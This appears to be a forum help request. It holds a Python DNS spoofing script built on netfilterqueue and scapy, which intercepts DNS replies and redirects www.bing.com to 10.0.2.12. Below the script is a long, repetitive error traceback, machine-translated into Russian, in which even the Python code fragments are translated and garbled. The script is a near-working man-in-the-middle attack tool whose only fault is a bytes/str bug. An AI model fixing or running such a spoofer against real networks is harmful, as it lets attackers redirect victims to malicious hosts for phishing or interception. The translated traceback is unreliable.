import netfilterqueue import scapy.all as scapy
def process_packet(packet):
scapy_packet = scapy.IP(packet.get_payload())
if scapy_packet.haslayer(scapy.DNSRR):
qname = scapy_packet[scapy.DNSQR].qname
website = 'www.bing.com'
if website in qname:
print("[+] Spoofing ")
answer = scapy.DNSRR(rrname=qname, rdata="10.0.2.12")
scapy_packet[scapy.DNS].an = answer
scapy_packet[scapy.DNS].ancount = 1
del scapy_packet[scapy.IP].len
del scapy_packet[scapy.IP].chksum
del scapy_packet[scapy.UDP].len
del scapy_packet[scapy.UDP].chksum
packet.set_payload(str(scapy_packet))
packet.accept()
queue = netfilterqueue.NetfilterQueue()
queue.bind(0, process_packet)
queue.run()
Исключение игнорируется в: 'netfilterqueue.global_callback' Traceback (последний вызов последним): файл «dns_spoofer.py», строка 9, в process_packet, если веб-сайт в qname: TypeError: требуется объект, похожий на байты, а не исключение 'str', игнорируемое в: 'netfilterqueue.global_callback' Traceback (последний вызов последним): файл «dns_spoofer.py», строка 9, в process_packet если веб-сайт в qname: TypeError: требуется объект, похожий на байты, а не 'str'. Исключение игнорируется в: 'netfilterqueue.global_callback' Traceback (последний вызов последним): файл «dns_spoofer.py», строка 9, в process_packet, если веб-сайт в qname: TypeError: требуется объект, подобный байтам, а не исключение 'str', игнорируемое в: 'netfilterqueue.global_callback' Traceback (последний вызов последним): файл "dns_spoofer.py", строка 9, в process_packet, если веб-сайт находится в qname : TypeError: требуется объект, подобный байтам, а не исключение 'str', игнорируемое в: 'netfilterqueue.global_callback' Traceback (последний вызов последний): файл "dns_spoofer.py", строка 9, в process_packet, если веб-сайт в qname: TypeError: требуется объект, подобный байтам, а не исключение 'str', игнорируемое в: 'netfilterqueue.global_callback' Traceback (большинство последний вызов последним): файл "dns_spoofer.py", строка 9, в process_packet, если веб-сайт в qname: TypeError: требуется байтовый объект, а не 'str' Исключение игнорируется в: 'netfilterqueue.global_callback' Traceback (последний вызов last): файл "dns_spoofer.py", строка 9, в process_packet, если веб-сайт в qname: TypeError: требуется байтовый объект, а не 'str'. Исключение игнорируется в: 'netfilterqueue.global_callback' Traceback (последний вызов последний) : Файл "dns_spoofer.py", строка 9, в process_packet, если веб-сайт в qname: TypeError: требуется байтовый объект, а не 'str' ^ CTraceback (последний вызов последним): Файл "dns_spoofer.py", строка 25 , в queue.run () KeyboardInterrupt